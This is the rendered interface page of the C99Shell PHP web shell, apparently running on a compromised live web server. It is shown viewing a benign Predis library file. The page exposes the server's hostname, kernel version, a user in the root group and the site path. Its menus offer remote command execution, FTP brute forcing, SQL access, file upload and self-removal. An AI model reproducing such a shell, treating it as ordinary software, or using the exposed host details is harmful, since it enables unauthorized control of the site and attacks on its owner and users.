!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/sms.picotech.app/public_html/vendor/predis/predis/src/Command/   drwxr-xr-x
Free 28.68 GB of 117.98 GB (24.31%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     RedisFactory.php (3.31 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/*
 * This file is part of the Predis package.
 *
 * (c) 2009-2020 Daniele Alessandri
 * (c) 2021-2025 Till Krüss
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Predis\Command;

use 
Predis\ClientConfiguration;
use 
Predis\Command\Redis\FUNCTIONS;

/**
 * Command factory for mainline Redis servers.
 *
 * This factory is intended to handle standard commands implemented by mainline
 * Redis servers. By default it maps a command ID to a specific command handler
 * class in the Predis\Command\Redis namespace but this can be overridden for
 * any command ID simply by defining a new command handler class implementing
 * Predis\Command\CommandInterface.
 */
class RedisFactory extends Factory
{
    private const 
COMMANDS_NAMESPACE "Predis\Command\Redis";

    public function 
__construct()
    {
        
$this->commands = [
            
'ECHO' => 'Predis\Command\Redis\ECHO_',
            
'EVAL' => 'Predis\Command\Redis\EVAL_',
            
'OBJECT' => 'Predis\Command\Redis\OBJECT_',
            
// Class name corresponds to PHP reserved word "function", added mapping to bypass restrictions
            
'FUNCTION' => FUNCTIONS::class,
        ];
    }

    
/**
     * {@inheritdoc}
     */
    
public function getCommandClass(string $commandID): ?string
    
{
        
$commandID strtoupper($commandID);

        if (isset(
$this->commands[$commandID]) || array_key_exists($commandID$this->commands)) {
            return 
$this->commands[$commandID];
        }

        
$commandClass $this->resolve($commandID);

        if (
null === $commandClass) {
            return 
null;
        }

        
$this->commands[$commandID] = $commandClass;

        return 
$commandClass;
    }

    
/**
     * {@inheritdoc}
     */
    
public function undefine(string $commandID): void
    
{
        
// NOTE: we explicitly associate `NULL` to the command ID in the map
        // instead of the parent's `unset()` because our subclass tries to load
        // a predefined class from the Predis\Command\Redis namespace when no
        // explicit mapping is defined, see RedisFactory::getCommandClass() for
        // details of the implementation of this mechanism.
        
$this->commands[strtoupper($commandID)] = null;
    }

    
/**
     * Resolves command object from given command ID.
     *
     * @param  string      $commandID Command ID of virtual method call
     * @return string|null FQDN of corresponding command object
     */
    
private function resolve(string $commandID): ?string
    
{
        if (
class_exists($commandClass self::COMMANDS_NAMESPACE '\\' $commandID)) {
            return 
$commandClass;
        }

        
$commandModule $this->resolveCommandModuleByPrefix($commandID);

        if (
null === $commandModule) {
            return 
null;
        }

        if (
class_exists($commandClass self::COMMANDS_NAMESPACE '\\' $commandModule '\\' $commandID)) {
            return 
$commandClass;
        }

        return 
null;
    }

    private function 
resolveCommandModuleByPrefix(string $commandID): ?string
    
{
        foreach (
ClientConfiguration::getModules() as $module) {
            if (
preg_match("/^{$module['commandPrefix']}/"$commandID)) {
                return 
$module['name'];
            }
        }

        return 
null;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0036 ]--